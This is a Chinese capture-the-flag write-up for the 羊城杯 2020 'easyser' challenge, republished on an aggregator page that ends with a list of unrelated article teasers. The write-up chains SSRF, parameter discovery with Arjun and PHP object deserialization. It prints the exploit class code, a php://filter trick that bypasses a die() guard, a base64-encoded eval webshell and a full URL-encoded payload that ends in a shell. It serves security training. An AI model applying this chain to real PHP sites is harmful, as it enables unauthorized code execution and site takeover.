NSS [羊城杯 2020]easyser

NSS [羊城杯 2020]easyser

开题。很容易让人觉得环境坏了。

image-20230830210018338

不要慌·,无从下手时。看源码、扫目录、抓包。一套操作下来,发现几个可以下手的路由。

image-20230830210319606

/index.php

image-20230830210448344

/robots.txt

image-20230830210429957

访问 /star1.php,一说到百度,就猜测是否存在SSRF。

image-20230830210522532

源码中有提示,更加确定是SSRF了。

image-20230830210800417

SSRF进内网读取ser.php,成功读取。

http://127.0.0.1/ser.php

image-20230830211101565

好家伙,有源码没有反序列化入口????

没关系,我们可以用一个工具arjun

kali上安装:
pip3.8 install arjun使用:
arjun -u URL详细使用方法:
https://github.com/s0md3v/Arjun/wiki/Usage

Arjun 来扫描 http参数。 star1.php 页面除了 path 参数,还有一个 c 参数。Arjun显示发现c的原理是根据响应的body的长度,后续通过分析代码发现,不设置参数c会显示your hat is too black!,存在参数c就不会显示任何内容,所以的确是可以根据响应长度来发现参数。c 就是反序列化的入口。但是不知道他是如何反序列化的。

桌面root终端直接用就行了

arjun -u http://node4.anna.nssctf.cn:28617/star1.php?path=http://127.0.0.1/ser.php

不知道为什么2.2.1版本的没跑出来,用一下别的师傅的图。

img


即使不知道他是怎么反序列化的,我们依然能做。分析源码,我们的重点肯定是Yongen::hasaki(),在这个方法里面绕过死亡die同时写马到文件。死亡die用rot13或者base64都能绕过。通过base64解密或rot13解密使<?php die("nononon");?>变为乱码,而传入的$text为base64编码,解码后为正常shell语句。通过这种方式使前者失效。

链子如下:

GWHT::__construct()->GWHT::__toString()->Yongen::hasaki()

exp:(用string.strip_tags<?php?>全部删掉再base64解码)

<?phpclass GWHT{public $hero;
}
class Yongen{ //flag.phppublic $file;public $text;
}$a=new GWHT;
$a->hero=new Yongen;
$a->hero->file='php://filter/write=string.strip_tags|convert.base64-decode/resource=1.php';
$a->hero->text='PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+';echo urlencode(serialize($a));

payload:

/star1.php?path=http://127.0.0.1/ser.php&c=O%3A4%3A%22GWHT%22%3A1%3A%7Bs%3A4%3A%22hero%22%3BO%3A6%3A%22Yongen%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A73%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dstring.strip_tags%7Cconvert.base64-decode%2Fresource%3D1.php%22%3Bs%3A4%3A%22text%22%3Bs%3A32%3A%22PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2B%22%3B%7D%7D

访问1.php,getshell。

image-20230830220206533

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/90019.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

手写一个简单爬虫--手刃豆瓣top250排行榜

#拿到页面面源代码 request #通过re来提取想要的有效信息 re import requests import re url"https://movie.douban.com/top250"headers{"user-agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/11…

R语言空气污染数据的地理空间可视化和分析:颗粒物2.5(PM2.5)和空气质量指数(AQI)...

原文链接&#xff1a;http://tecdat.cn/?p23800 由于空气污染对公众健康的不利影响&#xff0c;人们一直非常关注。世界各国的环境部门都通过各种方法&#xff08;例如地面观测网络&#xff09;来监测和评估空气污染问题&#xff08;点击文末“阅读原文”获取完整代码数据&…

【算法与数据结构】112、LeetCode路径总和

文章目录 一、题目二、解法三、完整代码 所有的LeetCode题解索引&#xff0c;可以看这篇文章——【算法和数据结构】LeetCode题解。 一、题目 二、解法 思路分析&#xff1a;本题通过计算根节点到叶子节点路径上节点的值之和&#xff0c;然后再对比目标值。利用文章【算法和数据…

【拾枝杂谈】从游戏开发的角度来谈谈原神4.0更新

君兮_的个人主页 勤时当勉励 岁月不待人 C/C 游戏开发 Hello,米娜桑们&#xff0c;这里是君兮_&#xff0c;结合最近的学习内容和以后自己的目标&#xff0c;今天又开了杂谈这个新坑&#xff0c;分享一下我在学习游戏开发的成长和自己的游戏理解&#xff0c;当然现在还是一枚…

Docker容器学习:Dockerfile制作Web应用系统nginx镜像

目录 编写Dockerfile 1.文件内容需求&#xff1a; 2.编写Dockerfile&#xff1a; 3.开始构建镜像 4.现在我们运行一个容器&#xff0c;查看我们的网页是否可访问 推送镜像到私有仓库 1.把要上传的镜像打上合适的标签 2.登录harbor仓库 3.上传镜像 编写Dockerfile 1.文…

前端自学总结

文章目录 一、nodejs1.1、npm配置命令别名 二、JavaScript2.1、javascript注释 一、nodejs 1.1、npm配置命令别名 我们可以使用“node index.js”的方式运行代码 也可以利用npm配置别名的方式运行代码 在package.json中配置别名&#xff0c;利用“npm run 别名”也可以运行 st…

[Android]JNI的基础知识

目录 1.什么是JNI 2.配置JNI开发环境NDK 3.创建Native C类型的项目 4. 了解CMakeLists.txt 文件 5.了解native-lib.cpp 文件 6.在 Android 的 MainActivity 中调用 native-lib.cpp 中实现的本地方法 1.什么是JNI JNI&#xff08;Java Native Interface&#xff09;是一…

【ES】Elasticsearch 常见的简单查询

查看es中有哪些索引 请求方式&#xff1a;GET 请求地址&#xff1a;http://localhost:9200 /_cat/indices?v 参数&#xff1a;无 结果&#xff1a; 查看索引全部数据 请求方式&#xff1a;GET 请求地址&#xff1a;http://localhost:9200/index-2023-08/_search 参数&a…

机器学习基础16-建立预测模型项目模板

机器学习是一项经验技能&#xff0c;经验越多越好。在项目建立的过程中&#xff0c;实 践是掌握机器学习的最佳手段。在实践过程中&#xff0c;通过实际操作加深对分类和回归问题的每一个步骤的理解&#xff0c;达到学习机器学习的目的 预测模型项目模板 不能只通过阅读来掌握…

阿里云将关停代销业务

我是卢松松&#xff0c;点点上面的头像&#xff0c;欢迎关注我哦&#xff01; 阿里云自从逐渐分拆独立之后&#xff0c;做了很多调整。最近它又做了一个大动作&#xff1a;据DoNews消息&#xff0c;阿里云将会在今年9月30日之前&#xff0c;全面关停代销业务。 这件事实际上…

C#_多线程编程入门

字面理解&#xff1a;多个线程同时工作的过程。 案例① 单线程 #region ① 单线程做菜/// <summary>/// ① 单线程做菜:执行任务时,什么操作都动不了./// </summary>/// <param name"sender"></param>/// <param name"e">…

Linux通信--构建进程通信IPC的方案之共享内存|实现使用共享内存进行serverclient通信

共享内存是最快的IPC形式。一旦这样的内存映射到共享它的进程地址空间&#xff0c;这些进程间数据传递不再涉及到内核&#xff0c;即进程不再通过执行进入内核的系统调用来传递彼此的数据。 目录 一、共享内存的原理 二、使用共享内存 三、共享内存函数 1.shmget(用来创建共…